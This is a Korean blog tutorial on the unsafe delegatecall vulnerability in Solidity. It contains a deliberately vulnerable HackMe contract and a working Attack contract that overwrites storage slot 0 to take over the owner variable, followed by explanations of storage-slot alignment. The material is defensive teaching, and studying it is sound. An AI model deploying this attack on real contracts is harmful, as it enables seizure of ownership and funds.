[Solidity] Unsafe Delegate Call.2

임형석·2023년 10월 11일
0

Solidity


Unsafe Delegate Call.2

아래에 다음과 같은 예시 코드가 있다.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;

contract Lib {
    uint public someNumber;

    function doSomething(uint _num) public {
        someNumber = _num;
    }
}

contract HackMe {
    address public lib;
    address public owner;
    uint public someNumber;

    constructor(address _lib) public {
        lib = _lib;
        owner = msg.sender;
    }

    function doSomething(uint _num) public {
        lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num));
    }
}

어떻게 하면 HackMe 컨트랙트의 owner 상태변수를 제어할 수 있을까?

먼저, HackMe 컨트랙트는 lib 컨트랙트의 doSomething 을 delegatecall 하고 있다.

그리고 doSomething 은 우리가 제어할 수 없는 부분이기에, 이를 통해 공격하는 것은 불가능해 보인다.

하지만 각 컨트랙트의 첫 번째 상태변수를 확인하면..
Lib => uint public someNumber;
HackMe => address public lib;

HackMe 컨트랙트의 lib 주소 값으로 delegate call 을 하기에,
이것을 바꾸어주면 owner 를 마음대로 제어할 수 있다.


delegate call 공격

먼저 아래처럼 Attack 컨트랙트를 작성했다.

contract Attack {
    /* 
        상태변수의 slot 수를 맞춰야 함.
        bool, uint8 같은 타입은 0번째 슬롯에 빈 자리가 생겨 공격 X.
        string, uint, address 는 0번째 슬롯에 여유가 없기에 공격 O.
    */
    address public lib; // slot 0
    address public owner; // slot 1
    uint public someNumber; // slot 2

    HackMe public hackme; // slot 3
    
    constructor(address _hackme) {
        hackme = HackMe(_hackme);
    }
    
    function attack(uint256 _newOwner) public {
        hackme.doSomething(uint160(address(this)));
        hackme.doSomething(1);
    }

    function doSomething(uint _newOwner) public {
        owner = msg.sender;
    }
}

이때, HackMe 컨트랙트의 상태변수를 그대로 가져와서 사용하는 것이 좋다.

그게 아니라면 상태변수 선언을 할 때, 타입을 잘 확인해서 Slot 을 맞춰야 한다.
HackMe 컨트랙트의 Slot 1 에 owner 가 저장되어 있기에, Attack 컨트랙트도 정확히 Slot 1에 owner 가 저장되어야 한다.

bool, uint8 같은 타입은 Slot 0 에 빈자리가 생겨 공격 실패.
string, uint, address 타입은 Slot 0 에 여유가 없어 공격 성공.

그리고 attack 함수에 hackme.doSomething(1); 한줄을 추가해줌으로써 트랜잭션 한번으로 lib, owner 상태변수가 변경되도록 한다.


그림으로 간단하게 로직을 살펴보면,

  1. Lib 컨트랙트로 doSomething 을 delegate call 한다.
    Slot 0 인 lib 주소가 attack 컨트랙트 주소로 바뀐다.
  2. 바뀐 lib 주소로 doSomething 을 delegate call 한다.
    이번엔 attack 컨트랙트에 delegate call. owner 주소가 바뀐다.

리믹스를 통해 직접 확인해보면..

lib 주소와 owner 주소 값이 Attack 컨트랙트 주소로 바뀌었다.

Slot 을 맞추지 않고 공격을 시도한다면 어떻게 될까?
Attack 컨트랙트의 첫 번째 상태변수의 타입을 bool 로 바꾸어 공격을 시도해보았다.

결과에서 보듯, Slot 에 두개의 상태변수가 저장되어 lib 주소 값이 정확하게 바뀌지 않아 두번째 delegate call 에는 실패하여 owner 값은 바뀌지 않았다.


delegate call 사용 시 유의해야 할 점

  1. delegate call 은 Storage, Ether 를 제어할 권한을 다른 컨트랙트에 넘기는 것임.

  2. 반드시 Storage layout(slot, 상태변수) 를 확인하고 이에 맞추어 컨트랙트를 작성해야 함.


0개의 댓글